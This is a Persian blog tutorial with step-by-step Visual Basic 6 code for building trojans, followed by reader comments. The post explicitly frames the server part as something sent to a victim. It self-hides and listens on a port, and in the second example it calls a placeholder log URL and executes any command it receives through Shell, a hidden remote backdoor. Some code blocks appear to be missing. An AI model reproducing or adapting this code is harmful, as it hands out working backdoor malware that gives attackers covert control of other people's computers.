تبلیغات
اموزش جادویی كامپیوتر - آموزش ساخت تروجان

آموزش ساخت تروجان

پنجشنبه 24 اسفند 1391 07:59 ب.ظ   نویسنده : اریا افشار      


آموزش ساخت تروجان با ویژال بیسیک Visual Basic 6

توجه کنید که باید حتما کدها را از توی وبلاگ کپی کنید بدلیل اینکه بعضی از کدها در وبلاگ

برعکس هستند ودر هنگام کپی کردن درنوت پد به حالت اولیه خود برمی گردند هرتروجان معمولا

ازدو قسممت تشکیل میشود اول server که برای  قربانی میفرستیم وبعد client که خودمان

باهاش کارمی کنیم . ویژال بیسیک را باز کرده وبعد standard.EXE را  انتخاب وبعد در کلید Ctl + T را

در صفحه کلید نگه دارید تا پنجره نوار ابزار ویژال بیسیک باز شود درسربرگ  controls دنبال گزینه

Microsoft Winsock Control 6.0 بگردید وان را اضافه کنید وبعد درنوار ابزارسمت چپ  ویژال بیسیک

روی CommandButton دابل کلیک و 5 کلید تولید کرده محل قرارگیری انها را در فرم تنطیم کرده نام

هرکلید را مطابق نام های زیر نام کلید Command1 رادرپنجره خوصوصیات درسمت راست به

cmdConnect تبدیل کرده  ونام Command2 رابه cmdDisconnect تبدیل ونام Command3 را به

cmdOpen تبدیل ونام Command4 را به cmdClose تبدیل ونام Command5 را به cmdMsg تبدیل کرده

وبعد درنوار ابزار روی  TextBox دابل کلیک و2 تولید کنید نام Text1 رابه txtIP ونام Text2 رابه txtMsg

تبدیل کرده وبعد درنوار ابزار روی Winsock دابل کلیک وان را به فرم اضافه نام ان را از Winsock1 به

tcpClient  تبدیل کرده وبعد درنوار ابزارروی Label دابل کلیک کرده بعد نام ان را Label1 به lblStatus

تبدیل کرده  خاصیت Caption گزینه ها را به دلخواه تغییر دهید .نام فرم رابه frmClient تغییر بدهید

وبعد روی  Command1 درروی فرم دابل کلیک کرده تا پنجره کد بازشود وکد زیر را بین ان تایپ کرده

cmdConnect.Enabled = False ' disable the connect button
cmdDisconnect.Enabled = True ' eable the connect button
lblStatus.Caption = "Connecting" 'Show that you are trying to connect
If txtIP.Text = "" Then 'if IP textbox is empty then
MsgBox "Please enter a valid IP adress", vbCritical 'then give a messagebox
End If
tcpClient.Connect txtIP.Text, 1234 'connect to the IP you entered and on port 1234
 

وبعد روی کلید command2 دابل کلیک کرده وکد زیر را در ان کپی کنید

lblStatus.Caption = "Not Connected" 'Show that you are not connected
cmdDisconnect.Enabled = False 'Disable the disconnect button
cmdConnect.Enabled = True 'Enable the Connect button again
tcpClient.Close 'Close the connection

وبعد روی ایکن Winsock درروی فرم دابل کلیک کرده وان را باز کرده درپنجره کد بالای صفحه سمت

چپ گزینه Connect را انتخاب وکد زیر را دران کپی کنید 

lblStatus.Caption = "Connected" 'Show that your connected to the Server

 برروی کلید Command3 درروی فرم دابل کلیک کرده وکد زیررا دران کپی کنید 

tcpClient.SendData "opn" 'send this string to the s

 وبعد روی کلید Command4 روی فرم دابل کلیک کرده وکد زیر را  دران کپی کنید

tcpClient.SendData "cls" 'send this string to the server

 وبعد روی کلید Command5 روی فرم دابل کلیک کرده وکد زیر را  دران کپی کنید

tcpClient.SendData "msg" & txtMsg 'send this string to the server and the text in the textbox

 خوب شما الان کلینت را ساخته اید برای ذخیره روی منوی File وبعد Make project.exe ان راذخیره

کرده حالا نوبت ساخت سرور هسته برنامه ویژال بیسیک را باز کرده standard.EXE را انتخاب وبعد

درنوار ابزارروی  Winsock دابل کلیک تا روی فرم قرار گیرد ونام ان را tcpServer تبدیل کرده ونام فرم

Form را نیز به frmServer تبدیل کرده وبعد روی Form دابل کلیک کرده وکد زیر کپی کنید

 me.hide 
tcpServer.LocalPort = 1234 'listen on port 1234
tcpServer.Listen 'start listen
 

وبعد روی Winsock درروی فرم دابل کلیک کرده وازمنوی سمت چپ گزینه connection request را

انتخاب وکد زیر را در ان  کپی کنید

 tcpServer.Close 'close to prevent any error
tcpServer.Accept requestID 'accept all incoming requests

 دوباره روی Winsock وازمنوی سمت چپ گزینه error را انتخاب کرده وکد زیر را دران کپی کنید

On Error Resume Next 'to prevent any more error's
tcpServer.Close 'Close the connection
tcpServer.Listen 'listen again

 وبعد روی منوی Project وبعد Add Module کلیک کرده وبعد open کنید وبعد کد زیر را در ان کپی کنید

وبعد Module را ببندید .وبعد روی Form دابل کلیک کرده وکد زیر را بالای صفحه ان کپی کنید

وبعد دوباره روی Form دابل کلیک کرده وکد زیر را در ان کپی کنید

ودر اخر ان را ذخیره کنید برای ذخیره روی منوی File وبعد Make project.exe ان را ذخیره کرده  





 آموزش ساخت یک تروجان دیگه با ویژال بیسیک 6

ویژال بیسیک راباز کرده اول باید سرور رابسازیم روی گزینه Winsock درنوارابزار دابل کلیک کرده

تاروی فرم قرارگیرد حالا روی Form دابل کلیک تا پنجره کد باز شود کد زیر را در ان تایپ

Me.Hide
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.LocalPort = 3333
Winsock1.Listen
Shell ("explorer http://www.yoursite/log.php")

 

وبعد روی Winsock درروی فرم کیک تا پنجره کد باز شود وبعد دربالا سمت چپ منو Connection

را انتخاب و کد زیر رادر ان تایپ

If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID

 کرده و بعد کادر را ببندید و دوباره روی  Winsock درروی فرم دابل کلیک تا پنجره کد بازشود درسمت چپ

منو گزینه DataArrival را انتخاب وکد زیر را در ان کپی کنید    

Dim data As String
Winsock1.GetData data
Shell data, vbNormalFocus

 وبعد ان را ذخیره کنید . سرور به پایان رسید حالا نوبت کلاینیت دوباره ویژال بیسیک را باز کرده وبعد

درنوار ابزار این کلید ها را درروی فرم ایجاد کرده command1 وcommand2 وtextbox 1 وtextbox 2

وtextbox 3 وwinsock بانام winsock1 وبعد روی  command1 دابل کلیک و کد زیر را در ان کپی کنید

Winsock1.RemotePort = Text2.Text
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect

وبعد روی command2 دابل کلیک و کد زیر را در ان کپی کنید

Winsock1.SendData Text3.Text

 وبعد روی Form  دابل کلیک وکد زیر را در ان کپی کنید

If Winsock1.State <> sckClosed Then Winsock1.Close

 و بعد روی Winsock دابل کلیک ازمنوی سمت چپ گزینه Connect را انتخاب و کد زیر را در ان کپی کنید

msgbox ("Connected !")

و بعد کادر کد را ببندید ودوباره روی  Winsock دابل کلیک ازمنوی سمت چپ گزینه Error را انتخاب

 وکد زیررا درتایپ

و در اخر ان را ذخیره کنید.  برای ذخیره روی منوی File وبعد Make project.exe ان را ذخیره کرده   


برچسب ها: Visual Basic 6 ، ساخت تروجان با ویژال بیسیک ،
آخرین ویرایش: - -
دیدگاه ها ()
جمعه 17 آبان 1392 10:16 ق.ظ
الان دقیقا این تروجان برای ما چیکار میکنه؟
جمعه 19 مهر 1392 06:40 ب.ظ
سلام با تشکر فراوان از سایت خوبتون.
یه سوال داشتم. من این تروجانو نوشتم حالا چجوری ازش استفاده کنم؟ چیکارش کنم؟
پنجشنبه 18 مهر 1392 06:57 ب.ظ
دایی برنامشو نداری برای دانلود
 
لبخندناراحتچشمک
نیشخندبغلسوال
قلبخجالتزبان
ماچتعجبعصبانی
عینکشیطانگریه
خندهقهقههخداحافظ
سبزقهرهورا
دستگلتفکر
نظرات پس از تایید نشان داده خواهند شد.

درباره وبلاگ


نویسندگان

  • اریا افشار(41)

صفحات جانبی